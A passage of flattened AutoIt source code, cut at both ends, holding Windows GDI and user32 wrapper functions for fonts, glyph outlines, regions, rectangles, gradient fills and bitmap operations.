DllStructCreate($tagtt_name_table_header, $pmemory + $ioffset) Local $intheadersize = DllStructGetSize($tntheader) Local $inrcount = _winapi_swapword(DllStructGetData($tntheader, "uNRCount")) Local $istorageoffset = _winapi_swapword(DllStructGetData($tntheader, "uStorageOffset")) Local $ittrecordsize = DllStructGetSize(DllStructCreate($tagtt_name_record)) Local $tresult, $sresult, $istringlength, $istringoffset, $iencodingid, $tttrecord For $i = 0 To $inrcount - 1 $tttrecord = DllStructCreate($tagtt_name_record, $pmemory + $ioffset + $intheadersize + $i * $ittrecordsize) If _winapi_swapword($tttrecord.unameid) = $iflag Then $istringlength = _winapi_swapword(DllStructGetData($tttrecord, "uStringLength")) $istringoffset = _winapi_swapword(DllStructGetData($tttrecord, "uStringOffset")) $iencodingid = _winapi_swapword(DllStructGetData($tttrecord, "uEncodingID")) Local $swchar = "char" If $iencodingid = 1 Then $swchar = "word" $istringlength = $istringlength / 2 EndIf $tresult = DllStructCreate($swchar & " szTTFName[" & $istringlength & "]", $pmemory + $ioffset + $istringoffset + $istorageoffset) If $iencodingid = 1 Then $sresult = "" For $j = 1 To $istringlength $sresult &= ChrW(_winapi_swapword(DllStructGetData($tresult, 1, $j))) Next Else $sresult = $tresult.szttfname EndIf If StringLen($sresult) > 0 Then ExitLoop EndIf Next Return $sresult EndFunc Func _winapi_getglyphoutline($hdc, $schar, $iformat, ByRef $pbuffer, $tmat2 = 0) Local $tgm = DllStructCreate($tagglyphmetrics) Local $aret, $ilength = 0 If NOT IsDllStruct($tmat2) Then $tmat2 = DllStructCreate("short[8]") DllStructSetData($tmat2, 1, 1, 2) DllStructSetData($tmat2, 1, 1, 8) EndIf If $iformat Then $aret = DllCall("gdi32.dll", "dword", "GetGlyphOutlineW", "handle", $hdc, "uint", AscW($schar), "uint", $iformat, "struct*", $tgm, "dword", 0, "ptr", 0, "struct*", $tmat2) If @error OR ($aret[0] = 4294967295) Then Return SetError(@error + 10, @extended, 0) $ilength = $aret[0] $pbuffer = __heaprealloc($pbuffer, $ilength, 1) If @error Then Return SetError(@error + 20, @extended, 0) EndIf $aret = DllCall("gdi32.dll", "dword", "GetGlyphOutlineW", "handle", $hdc, "uint", AscW($schar), "uint", $iformat, "struct*", $tgm, "dword", $ilength, "ptr", $pbuffer, "struct*", $tmat2) If @error Then Return SetError(@error, @extended, 0) If $aret[0] = 4294967295 Then Return SetError(10, -1, 0) Return SetExtended($ilength, $tgm) EndFunc Func _winapi_getgraphicsmode($hdc) Local $aret = DllCall("gdi32.dll", "int", "GetGraphicsMode", "handle", $hdc) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_getgvalue($irgb) Return BitShift(BitAND(__rgb($irgb), 65280), 8) EndFunc Func _winapi_geticondimension($hicon) Local $ticoninfo = DllStructCreate($tagiconinfo) Local $aret = DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "struct*", $ticoninfo) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Local $tsize = _winapi_getbitmapdimension(DllStructGetData($ticoninfo, 5)) For $i = 4 To 5 _winapi_deleteobject(DllStructGetData($ticoninfo, $i)) Next If NOT IsDllStruct($tsize) Then Return SetError(20, 0, 0) Return $tsize EndFunc Func _winapi_getmapmode($hdc) Local $aret = DllCall("gdi32.dll", "int", "GetMapMode", "handle", $hdc) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_getobjecttype($hobject) Local $aret = DllCall("gdi32.dll", "dword", "GetObjectType", "handle", $hobject) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_getoutlinetextmetrics($hdc) Local $aret = DllCall("gdi32.dll", "uint", "GetOutlineTextMetricsW", "handle", $hdc, "uint", 0, "ptr", 0) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Local $tdata = DllStructCreate("byte[" & $aret[0] & "]") Local $toltm = DllStructCreate($tagoutlinetextmetric, DllStructGetPtr($tdata)) $aret = DllCall("gdi32.dll", "uint", "GetOutlineTextMetricsW", "handle", $hdc, "uint", $aret[0], "struct*", $tdata) If NOT $aret[0] Then Return SetError(20, 0, 0) Return $toltm EndFunc Func _winapi_getpixel($hdc, $ix, $iy) Local $aret = DllCall("gdi32.dll", "dword", "GetPixel", "handle", $hdc, "int", $ix, "int", $iy) If @error OR ($aret[0] = 4294967295) Then Return SetError(@error, @extended, -1) Return __rgb($aret[0]) EndFunc Func _winapi_getpolyfillmode($hdc) Local $aret = DllCall("gdi32.dll", "int", "GetPolyFillMode", "handle", $hdc) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_getposfromrect($trect) Local $aresult[4] For $i = 0 To 3 $aresult[$i] = DllStructGetData($trect, $i + 1) If @error Then Return SetError(@error, @extended, 0) Next For $i = 2 To 3 $aresult[$i] -= $aresult[$i - 2] Next Return $aresult EndFunc Func _winapi_getregiondata($hrgn, ByRef $trgndata) Local $aret = DllCall("gdi32.dll", "dword", "GetRegionData", "handle", $hrgn, "dword", 0, "ptr", 0) If @error OR NOT $aret[0] Then $trgndata = 0 Return SetError(@error, @extended, False) EndIf $trgndata = DllStructCreate($tagrgndataheader) Local $irectsize = $aret[0] - DllStructGetSize($trgndata) If $irectsize > 0 Then $trgndata = DllStructCreate($tagrgndataheader & ";byte[" & $irectsize & "]") $aret = DllCall("gdi32.dll", "dword", "GetRegionData", "handle", $hrgn, "dword", $aret[0], "struct*", $trgndata) If NOT $aret[0] Then $trgndata = 0 Return $aret[0] EndFunc Func _winapi_getrgnbox($hrgn, ByRef $trect) $trect = DllStructCreate($tagrect) Local $aret = DllCall("gdi32.dll", "int", "GetRgnBox", "handle", $hrgn, "struct*", $trect) If @error OR NOT $aret[0] Then $trect = 0 Return SetError(@error, @extended, 0) EndIf Return $aret[0] EndFunc Func _winapi_getrop2($hdc) Local $aret = DllCall("gdi32.dll", "int", "GetROP2", "handle", $hdc) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_getrvalue($irgb) Return BitAND(__rgb($irgb), 255) EndFunc Func _winapi_getstretchbltmode($hdc) Local $aret = DllCall("gdi32.dll", "int", "GetStretchBltMode", "handle", $hdc) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_gettabbedtextextent($hdc, $stext, $atab = 0, $istart = 0, $iend = -1) Local $itab, $icount If NOT IsArray($atab) Then If $atab Then $itab = $atab Dim $atab[1] = [$itab] $istart = 0 $iend = 0 $icount = 1 Else $icount = 0 EndIf Else $icount = 1 EndIf Local $ttab = 0 If $icount Then If __checkerrorarraybounds($atab, $istart, $iend) Then Return SetError(@error + 10, @extended, 0) $icount = $iend - $istart + 1 $ttab = DllStructCreate("uint[" & $icount & "]") $itab = 1 For $i = $istart To $iend DllStructSetData($ttab, 1, $atab[$i], $itab) $itab += 1 Next EndIf Local $aret = DllCall("user32.dll", "dword", "GetTabbedTextExtentW", "handle", $hdc, "wstr", $stext, "int", StringLen($stext), "int", $icount, "struct*", $ttab) If @error OR NOT $aret[0] Then Return SetError(@error + 20, @extended, 0) Return _winapi_createsize(_winapi_loword($aret[0]), _winapi_hiword($aret[0])) EndFunc Func _winapi_gettextalign($hdc) Local $aret = DllCall("gdi32.dll", "uint", "GetTextAlign", "handle", $hdc) If @error OR ($aret[0] = 4294967295) Then Return SetError(@error, @extended, -1) Return $aret[0] EndFunc Func _winapi_gettextcharacterextra($hdc) Local $aret = DllCall("gdi32.dll", "int", "GetTextCharacterExtra", "handle", $hdc) If @error OR ($aret[0] = 134217728) Then Return SetError(@error, @extended, -1) Return $aret[0] EndFunc Func _winapi_gettextcolor($hdc) Local $aret = DllCall("gdi32.dll", "dword", "GetTextColor", "handle", $hdc) If @error OR ($aret[0] = 4294967295) Then Return SetError(@error, @extended, -1) Return __rgb($aret[0]) EndFunc Func _winapi_gettextface($hdc) Local $aret = DllCall("gdi32.dll", "int", "GetTextFaceW", "handle", $hdc, "int", 2048, "wstr", "") If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "") Return $aret[3] EndFunc Func _winapi_getudfcolormode() Return Number($__g_irgbmode) EndFunc Func _winapi_getupdaterect($hwnd, $berase = True) Local $trect = DllStructCreate($tagrect) Local $aret = DllCall("user32.dll", "bool", "GetUpdateRect", "hwnd", $hwnd, "struct*", $trect, "bool", $berase) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Return $trect EndFunc Func _winapi_getupdatergn($hwnd, $hrgn, $berase = True) Local $aret = DllCall("user32.dll", "int", "GetUpdateRgn", "hwnd", $hwnd, "handle", $hrgn, "bool", $berase) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_getwindowext($hdc) Local $tsize = DllStructCreate($tagsize) Local $aret = DllCall("gdi32.dll", "bool", "GetWindowExtEx", "handle", $hdc, "struct*", $tsize) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Return $tsize EndFunc Func _winapi_getwindoworg($hdc) Local $tpoint = DllStructCreate($tagpoint) Local $aret = DllCall("gdi32.dll", "bool", "GetWindowOrgEx", "handle", $hdc, "struct*", $tpoint) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Return $tpoint EndFunc Func _winapi_getwindowrgnbox($hwnd, ByRef $trect) $trect = DllStructCreate($tagrect) Local $aret = DllCall("gdi32.dll", "int", "GetWindowRgnBox", "hwnd", $hwnd, "struct*", $trect) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_getworldtransform($hdc) Local $txform = DllStructCreate($tagxform) Local $aret = DllCall("gdi32.dll", "bool", "GetWorldTransform", "handle", $hdc, "struct*", $txform) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Return $txform EndFunc Func _winapi_gradientfill($hdc, Const ByRef $avertex, $istart = 0, $iend = -1, $brotate = False) If __checkerrorarraybounds($avertex, $istart, $iend, 2) Then Return SetError(@error + 10, @extended, 0) If UBound($avertex, $ubound_columns) < 3 Then Return SetError(13, 0, 0) Local $ipoint = $iend - $istart + 1 If $ipoint > 3 Then $iend = $istart + 2 $ipoint = 3 EndIf Local $imode Switch $ipoint Case 2 $imode = Number(NOT $brotate) Case 3 $imode = 2 Case Else Return SetError(15, 0, 0) EndSwitch Local $tagstruct = "" For $i = $istart To $iend $tagstruct &= "ushort[8];" Next Local $tvertex = DllStructCreate($tagstruct) Local $icount = 1 Local $tgradient = DllStructCreate("ulong[" & $ipoint & "]") For $i = $istart To $iend DllStructSetData($tgradient, 1, $icount - 1, $icount) DllStructSetData($tvertex, $icount, _winapi_loword($avertex[$i][0]), 1) DllStructSetData($tvertex, $icount, _winapi_hiword($avertex[$i][0]), 2) DllStructSetData($tvertex, $icount, _winapi_loword($avertex[$i][1]), 3) DllStructSetData($tvertex, $icount, _winapi_hiword($avertex[$i][1]), 4) DllStructSetData($tvertex, $icount, BitShift(_winapi_getrvalue($avertex[$i][2]), -8), 5) DllStructSetData($tvertex, $icount, BitShift(_winapi_getgvalue($avertex[$i][2]), -8), 6) DllStructSetData($tvertex, $icount, BitShift(_winapi_getbvalue($avertex[$i][2]), -8), 7) DllStructSetData($tvertex, $icount, 0, 8) $icount += 1 Next Local $aret = DllCall("gdi32.dll", "bool", "GdiGradientFill", "handle", $hdc, "struct*", $tvertex, "ulong", $ipoint, "struct*", $tgradient, "ulong", 1, "ulong", $imode) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_inflaterect(ByRef $trect, $idx, $idy) Local $aret = DllCall("user32.dll", "bool", "InflateRect", "struct*", $trect, "int", $idx, "int", $idy) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_intersectcliprect($hdc, $trect) Local $aret = DllCall("gdi32.dll", "int", "IntersectClipRect", "handle", $hdc, "int", DllStructGetData($trect, 1), "int", DllStructGetData($trect, 2), "int", DllStructGetData($trect, 3), "int", DllStructGetData($trect, 4)) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_intersectrect($trect1, $trect2) Local $trect = DllStructCreate($tagrect) Local $aret = DllCall("user32.dll", "bool", "IntersectRect", "struct*", $trect, "struct*", $trect1, "struct*", $trect2) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Return $trect EndFunc Func _winapi_invalidatergn($hwnd, $hrgn = 0, $berase = True) Local $aret = DllCall("user32.dll", "bool", "InvalidateRgn", "hwnd", $hwnd, "handle", $hrgn, "bool", $berase) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_invertandbitmap($hbitmap, $bdelete = False) Local $tbitmap = DllStructCreate($tagbitmap) If NOT _winapi_getobject($hbitmap, DllStructGetSize($tbitmap), $tbitmap) OR (DllStructGetData($tbitmap, "bmBitsPixel") <> 1) Then Return SetError(@error + 10, @extended, 0) EndIf Local $hresult = _winapi_createdib(DllStructGetData($tbitmap, "bmWidth"), DllStructGetData($tbitmap, "bmHeight"), 1) If NOT $hresult Then Return SetError(@error, @extended, 0) Local $hsrcdc = _winapi_createcompatibledc(0) Local $hsrcsv = _winapi_selectobject($hsrcdc, $hbitmap) Local $hdstdc = _winapi_createcompatibledc(0) Local $hdstsv = _winapi_selectobject($hdstdc, $hresult) _winapi_bitblt($hdstdc, 0, 0, DllStructGetData($tbitmap, "bmWidth"), DllStructGetData($tbitmap, "bmHeight"), $hsrcdc, 0, 0, 3342344) _winapi_selectobject($hsrcdc, $hsrcsv) _winapi_deletedc($hsrcdc) _winapi_selectobject($hdstdc, $hdstsv) _winapi_deletedc($hdstdc) If $bdelete Then _winapi_deleteobject($hbitmap) EndIf Return $hresult EndFunc Func _winapi_invertcolor($icolor) If $icolor = -1 Then Return 0 Return 16777215 - BitAND($icolor, 16777215) EndFunc Func _winapi_invertrect($hdc, ByRef $trect) Local $aret = DllCall("user32.dll", "bool", "InvertRect", "handle", $hdc, "struct*", $trect) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_invertrgn($hdc, $hrgn) Local $aret = DllCall("gdi32.dll", "bool", "InvertRgn", "handle", $hdc, "handle", $hrgn) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_isalphabitmap($hbitmap) $hbitmap = _winapi_copybitmap($hbitmap) If NOT $hbitmap Then Return SetError(@error + 20, @extended, 0) Local $aret, $ierror = 0 Do Local $tdib = DllStructCreate($tagdibsection) If (NOT _winapi_getobject($hbitmap, DllStructGetSize($tdib), $tdib)) OR (DllStructGetData($tdib, "bmBitsPixel") <> 32) OR (DllStructGetData($tdib, "biCompression")) Then $ierror = 1 ExitLoop EndIf $aret = DllCall("user32.dll", "int", "CallWindowProc", "ptr", __alphaproc(), "ptr", 0, "uint", 0, "struct*", $tdib, "ptr", 0) If @error OR ($aret[0] = -1) Then $ierror = @error + 10 ExitLoop EndIf Until 1 _winapi_deleteobject($hbitmap) If $ierror Then Return SetError($ierror, 0, 0) Return $aret[0] EndFunc Func _winapi_isrectempty(ByRef $trect) Local $aret = DllCall("user32.dll", "bool", "IsRectEmpty", "struct*", $trect) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_linedda($ix1, $iy1, $ix2, $iy2, $plineproc, $pdata = 0) Local $aret = DllCall("gdi32.dll", "bool", "LineDDA", "int", $ix1, "int", $iy1, "int", $ix2, "int", $iy2, "ptr", $plineproc, "lparam", $pdata) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_lockwindowupdate($hwnd) Local $aret = DllCall("user32.dll", "bool", "LockWindowUpdate", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_lptodp($hdc, ByRef $tpoint, $icount = 1) Local $aret = DllCall("gdi32.dll", "bool", "LPtoDP", "handle", $hdc, "struct*", $tpoint, "int", $icount) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_maskblt($hdestdc, $ixdest, $iydest, $iwidth, $iheight, $hsrcdc, $ixsrc, $iysrc, $hmask, $ixmask, $iymask, $irop) Local $aret = DllCall("gdi32.dll", "bool", "MaskBlt", "handle", $hdestdc, "int", $ixdest, "int", $iydest, "int", $iwidth, "int", $iheight, "hwnd", $hsrcdc, "int", $ixsrc, "int", $iysrc, "handle", $hmask, "int", $ixmask, "int", $iymask, "dword", $irop) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_modifyworldtransform($hdc, ByRef $txform, $imode) Local $aret = DllCall("gdi32.dll", "bool", "ModifyWorldTransform", "handle", $hdc, "struct*", $txform, "dword", $imode) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_monitorfrompoint(ByRef $tpoint, $iflag = 1) If DllStructGetSize($tpoint) <> 8 Then Return SetError(@error + 10, @extended, 0) Local $aret = DllCall("user32.dll", "handle", "MonitorFromPoint", "struct", $tpoint, "dword", $iflag) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_monitorfromrect(ByRef $trect, $iflag = 1) Local $aret = DllCall("user32.dll", "ptr", "MonitorFromRect", "struct*", $trect, "dword", $iflag) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_monitorfromwindow($hwnd, $iflag = 1) Local $aret = DllCall("user32.dll", "handle", "MonitorFromWindow", "hwnd", $hwnd, "dword", $iflag) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_movetoex($hdc, $ix, $iy) Local $tpoint = DllStructCreate($tagpoint) Local $aret = DllCall("gdi32.dll", "bool", "MoveToEx", "handle", $hdc, "int", $ix, "int", $iy, "struct*", $tpoint) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Return $tpoint EndFunc Func _winapi_offsetcliprgn($hdc, $ixoffset, $iyoffset) Local $aret = DllCall("gdi32.dll", "int", "OffsetClipRgn", "handle", $hdc, "int", $ixoffset, "int", $iyoffset) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_offsetpoints(ByRef $apoint, $ixoffset, $iyoffset, $istart = 0, $iend = -1) If __checkerrorarraybounds($apoint, $istart, $iend, 2) Then Return SetError(@error + 10, @extended, 0) If UBound($apoint, $ubound_columns) < 2 Then Return SetError(13, 0, 0) For $i = $istart To $iend $apoint[$i][0] += $ixoffset $apoint[$i][1] += $iyoffset Next Return 1 EndFunc Func _winapi_offsetrect(ByRef $trect, $idx, $idy) Local $aret = DllCall("user32.dll", "bool", "OffsetRect", "struct*", $trect, "int", $idx, "int", $idy) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_offsetrgn($hrgn, $ixoffset, $iyoffset) Local $aret = DllCall("gdi32.dll", "int", "OffsetRgn", "handle", $hrgn, "int", $ixoffset, "int", $iyoffset) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_offsetwindoworg($hdc, $ixoffset, $iyoffset) $__g_vext = DllStructCreate($tagpoint) Local $aret = DllCall("gdi32.dll", "bool", "OffsetWindowOrgEx", "handle", $hdc, "int", $ixoffset, "int", $iyoffset, "struct*", $__g_vext) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_paintdesktop($hdc) Local $aret = DllCall("user32.dll", "bool", "PaintDesktop", "handle", $hdc) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_paintrgn($hdc, $hrgn) Local $aret = DllCall("gdi32.dll", "bool", "PaintRgn", "handle", $hdc, "handle", $hrgn) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_patblt($hdc, $ix, $iy, $iwidth, $iheight, $irop) Local $aret = DllCall("gdi32.dll", "bool", "PatBlt", "handle", $hdc, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "dword", $irop) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_pathtoregion($hdc) Local $aret = DllCall("gdi32.dll", "handle", "PathToRegion", "handle", $hdc) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_playenhmetafile($hdc, $hemf, ByRef $trect) Local $aret = DllCall("gdi32.dll", "bool", "PlayEnhMetaFile", "handle", $hdc, "handle", $hemf, "struct*", $trect) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_plgblt($hdestdc, Const ByRef $apoint, $hsrcdc, $ixsrc, $iysrc, $iwidth, $iheight, $hmask = 0, $ixmask = 0, $iymask = 0) If (UBound($apoint) < 3) OR (UBound($apoint, $ubound_columns) < 2) Then Return SetError(12, 0, False) Local $tpoints = DllStructCreate("long[2];long[2];long[2]") For $i = 0 To 2 For $j = 0 To 1 DllStructSetData($tpoints, $i + 1, $apoint[$i][$j], $j + 1) Next Next Local $aret = DllCall("gdi32.dll", "bool", "PlgBlt", "handle", $hdestdc, "struct*", $tpoints, "handle", $hsrcdc, "int", $ixsrc, "int", $iysrc, "int", $iwidth, "int", $iheight, "handle", $hmask, "int", $ixmask, "int", $iymask) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_polybezier($hdc, Const ByRef $apoint, $istart = 0, $iend = -1) If __checkerrorarraybounds($apoint, $istart, $iend, 2, 2) Then Return SetError(@error + 10, @extended, False) Local $ipoint = 1 + 3 * Floor(($iend - $istart) / 3) If $ipoint < 1 Then Return SetError(15, 0, False) $iend = $istart + $ipoint - 1 Local $tagstruct = "" For $i = $istart To $iend $tagstruct &= "long[2];" Next Local $tpoint = DllStructCreate($tagstruct) Local $icount = 0 For $i = $istart To $iend $icount += 1 For $j = 0 To 1 DllStructSetData($tpoint, $icount, $apoint[$i][$j], $j + 1) Next Next Local $aret = DllCall("gdi32.dll", "bool", "PolyBezier", "handle", $hdc, "struct*", $tpoint, "dword", $ipoint) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_polybezierto($hdc, Const ByRef $apoint, $istart = 0, $iend = -1) If __checkerrorarraybounds($apoint, $istart, $iend, 2, 2) Then Return SetError(@error + 10, @extended, False) Local $ipoint = 3 * Floor(($iend - $istart + 1) / 3) If $ipoint < 3 Then Return SetError(15, 0, False) $iend = $istart + $ipoint - 1 Local $tagstruct = "" For $i = $istart To $iend $tagstruct &= "long[2];" Next Local $tpoint = DllStructCreate($tagstruct) Local $icount = 0 For $i = $istart To $iend $icount += 1 For $j = 0 To 1 DllStructSetData($tpoint, $icount, $apoint[$i][$j], $j + 1) Next Next Local $aret = DllCall("gdi32.dll", "bool", "PolyBezierTo", "handle", $hdc, "struct*", $tpoint, "dword", $ipoint) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_polydraw($hdc, Const ByRef $apoint, $istart = 0, $iend = -1) If __checkerrorarraybounds($apoint, $istart, $iend, 2) Then Return SetError(@error + 10, @extended, 0) If UBound($apoint, $ubound_columns) < 3 Then Return SetError(13, 0, False) Local $ipoint = $iend - $istart + 1 Local $tagstruct = "" For $i = $istart To $iend $tagstruct &= "long[2];" Next Local $tpoint = DllStructCreate($tagstruct) Local $ttypes = DllStructCreate("byte[" & $ipoint & "]") Local $icount = 0 For $i = $istart To $iend $icount += 1 For $j = 0 To 1 DllStructSetData($tpoint, $icount, $apoint[$i][$j], $j + 1) Next DllStructSetData($ttypes, 1, $apoint[$i][2], $icount) Next Local $aret = DllCall("gdi32.dll", "bool", "PolyDraw", "handle", $hdc, "struct*", $tpoint, "struct*", $ttypes, "dword", $ipoint) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_polygon($hdc, Const ByRef $apoint, $istart = 0, $iend = -1) If __checkerrorarraybounds($apoint, $istart, $iend, 2, 2) Then Return SetError(@error + 10, @extended, False) Local $tagstruct = "" For $i = $istart To $iend $tagstruct &= "int[2];" Next Local $tdata = DllStructCreate($tagstruct) Local $icount = 1 For $i = $istart To $iend For $j = 0 To 1 DllStructSetData($tdata, $icount, $apoint[$i][$j], $j + 1) Next $icount += 1 Next Local $aret = DllCall("gdi32.dll", "bool", "Polygon", "handle", $hdc, "struct*", $tdata, "int", $icount - 1) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_printwindow($hwnd, $hdc, $bclient = False) Local $aret = DllCall("user32.dll", "bool", "PrintWindow", "hwnd", $hwnd, "handle", $hdc, "uint", $bclient) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_ptinrectex($ix, $iy, $ileft, $itop, $iright, $ibottom) Local $trect = _winapi_createrect($ileft, $itop, $iright, $ibottom) Local $tpoint = _winapi_createpoint($ix, $iy) Local $aret = DllCall("user32.dll", "bool", "PtInRect", "struct*", $trect, "struct", $tpoint) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_ptinregion($hrgn, $ix, $iy) Local $aret = DllCall("gdi32.dll", "bool", "PtInRegion", "handle", $hrgn, "int", $ix, "int", $iy) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_ptvisible($hdc, $ix, $iy) Local $aret = DllCall("gdi32.dll", "bool", "PtVisible", "handle", $hdc, "int", $ix, "int", $iy) If @error Then Return SetError(@error + 10, @extended, 0) If $aret[0] = -1 Then Return SetError(10, $aret[0], 0) Return $aret[0] EndFunc Func _winapi_radialgradientfill($hdc, $ix, $iy, $iradius, $irgb1, $irgb2, $fanglestart = 0, $fangleend = 360, $fstep = 5) If Abs($fanglestart) > 360 Then $fanglestart = Mod($fanglestart, 360) EndIf If Abs($fangleend) > 360 Then $fangleend = Mod($fangleend, 360) EndIf If ($fanglestart < 0) OR ($fangleend < 0) Then $fanglestart += 360 $fangleend += 360 EndIf If $fanglestart > $fangleend Then Local $fval = $fanglestart $fanglestart = $fangleend $fangleend = $fval EndIf If $fstep < 1 Then $fstep = 1 EndIf Local $fki = ATan(1) / 45 Local $ixp = Round($ix + $iradius * Cos($fki * $fanglestart)) Local $iyp = Round($iy + $iradius * Sin($fki * $fanglestart)) Local $ixn, $iyn, $fan = $fanglestart Local $avertex[3][3] While $fan < $fangleend $fan += $fstep If $fan > $fangleend Then $fan = $fangleend EndIf $ixn = Round($ix + $iradius * Cos($fki * $fan)) $iyn = Round($iy + $iradius * Sin($fki * $fan)) $avertex[0][0] = $ix $avertex[0][1] = $iy $avertex[0][2] = $irgb1 $avertex[1][0] = $ixp $avertex[1][1] = $iyp $avertex[1][2] = $irgb2 $avertex[2][0] = $ixn $avertex[2][1] = $iyn $avertex[2][2] = $irgb2 If NOT _winapi_gradientfill($hdc, $avertex, 0, 2) Then Return SetError(@error, @extended, 0) EndIf $ixp = $ixn $iyp = $iyn WEnd Return 1 EndFunc Func _winapi_rectangle($hdc, $trect) Local $aret = DllCall("gdi32.dll", "bool", "Rectangle", "handle", $hdc, "int", DllStructGetData($trect, 1), "int", DllStructGetData($trect, 2), "int", DllStructGetData($trect, 3), "int", DllStructGetData($trect, 4)) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_rectinregion($hrgn, $trect) Local $aret = DllCall("gdi32.dll", "bool", "RectInRegion", "handle", $hrgn, "struct*", $trect) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_rectvisible($hdc, $trect) Local $aret = DllCall("gdi32.dll", "bool", "RectVisible", "handle", $hdc, "struct*", $trect) If @error Then Return SetError(@error, @extended, 0) Switch $aret[0] Case 0, 1, 2 Case Else Return SetError(10, $aret[0], 0) EndSwitch Return $aret[0] EndFunc Func _winapi_removefontmemresourceex($hfont) Local $aret = DllCall("gdi32.dll", "bool", "RemoveFontMemResourceEx", "handle", $hfont) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_removefontresourceex($sfont, $iflag = 0, $bnotify = False) Local $aret = DllCall("gdi32.dll", "bool", "RemoveFontResourceExW", "wstr", $sfont, "dword", $iflag, "ptr", 0) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, False) If $bnotify Then Local Const $wm_fontchange = 29 Local Const $hwnd_broadcast = 65535 DllCall("user32.dll", "none", "SendMessage", "hwnd", $hwnd_broadcast, "uint", $wm_fontchange, "wparam", 0, "lparam", 0) EndIf Return $aret[0] EndFunc Func _winapi_restoredc($hdc, $iid) Local $aret = DllCall("gdi32.dll", "bool", "RestoreDC", "handle", $hdc, "int", $iid) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_rgb($ired, $igreen, $iblue) Return __rgb(BitOR(BitShift($iblue, -16), BitShift($igreen, -8), $ired)) EndFunc Func _winapi_rotatepoints(ByRef $apoint, $ixc, $iyc, $fangle, $istart = 0, $iend = -1) If __checkerrorarraybounds($apoint, $istart, $iend, 2) Then Return SetError(@error + 10, @extended, 0) If UBound($apoint, $ubound_columns) < 2 Then Return SetError(13, 0, 0) Local $fcos = Cos(ATan(1) / 45 * $fangle) Local $fsin = Sin(ATan(1) / 45 * $fangle) Local $ixn, $iyn For $i = $istart To $iend $ixn = $apoint[$i][0] - $ixc $iyn = $apoint[$i][1] - $iyc $apoint[$i][0] = $ixc + Round($ixn * $fcos - $iyn * $fsin) $apoint[$i][1] = $iyc + Round($ixn * $fsin + $iyn * $fcos) Next Return 1 EndFunc Func _winapi_roundrect($hdc, $trect, $iwidth, $iheight) Local $aret = DllCall("gdi32.dll", "bool", "RoundRect", "handle", $hdc, "int", DllStructGetData($trect, 1), "int", DllStructGetData($trect, 2), "int", DllStructGetData($trect, 3), "int", DllStructGetData($trect, 4), "int", $iwidth, "int", $iheight) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_savedc($hdc) Local $aret = 